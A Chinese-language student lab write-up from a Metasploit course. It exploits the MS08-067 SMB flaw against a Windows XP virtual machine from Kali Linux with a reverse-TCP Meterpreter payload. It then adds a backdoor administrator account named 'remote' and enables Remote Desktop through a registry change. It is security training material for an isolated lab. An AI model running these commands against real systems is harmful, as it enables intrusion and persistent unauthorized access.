渗透攻击MS08-067
学校课程关于Metasploit有基础的几个小实验,把它整理分享在这里。
实训目的:
熟悉Metasploit终端的使用方法,了解MS08-067漏洞,掌握对MS08-067漏洞攻击的方法。
场景描述:
在虚拟机环境下配置 “WinXP1”和“Kali Linux”虚拟系统,使得2个系统之间能够相互通信,网络拓扑如图所示7-1所示。
图7-1 网络拓扑
任务1 利用MS08-067漏洞控制目标计算机
扫描windowsxp系统发现有ms08-067漏洞
在Kali终端中输入命令“service postgresql start”,启动PostgreSQL数据库,然后输入命令“msfdb init”,初始化数据库
启动metasploit
输入命令“search ms08-067”,搜索MS08-067的漏洞对应的模块。
输入命令“use exploit/windows/smb/ms08_067_netapi”,启用这个渗透攻击模块。然后输入命令“show payloads”,查看该模块所适用的攻击载荷,如图7-6所示。作为攻击载荷的Payload就是通常所说的Shell code,常用的攻击载荷类型有开放监听后门、回连至控制端的后门、运行某个命令或程序、下载并运行可执行文件、添加系统用户等。
输入命令“set payload windows/meterpreter/reverse_tcp”,然后输入命令“show options”,查看渗透攻击的配置选项,如图7-7所示。其中“Required”为“yes”的为必填项
输入命令“show targets”,查看渗透攻击模块可以成功渗透攻击的目标平台,可以看到ms08_067_netapi模块共支持70多种不同的操作系统版本。第0号对应的是Automatic Targeting,表示Metasploit可以自动判断目标类型,并自动选择最合适的目标选项进行攻击。自动判断并不能确保绝对准确,所以一定要根据之前的扫描结果,进行主动确定,否则有可能实验会失败
这边本机系统为xp sp3 所以选择34
进行攻击,但是报错,没有生成shell
在查阅了很多资料后发现,下载的虚拟机版本已经打过补丁,导致无法攻击成功
去下载了原版的windowsxp系列,然后攻击成功:
任务2 在目标计算机中建立管理员用户并开启远程桌面服务
输入命令“shell”,获得命令shell,输入命令“net user remote 1234 /add”,添加一个用户,用户名为remote,密码为1234;输入命令“net localgroup administrators remote /add”,把remote用户添加到管理组,
输入命令“netstat –an”,发现目标计算机并没有开启3389(远程桌面连接端口)
输入命令“REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f”,通过修改注册表,打开目标主机3389端口,并通过rdesktop打开远程桌面。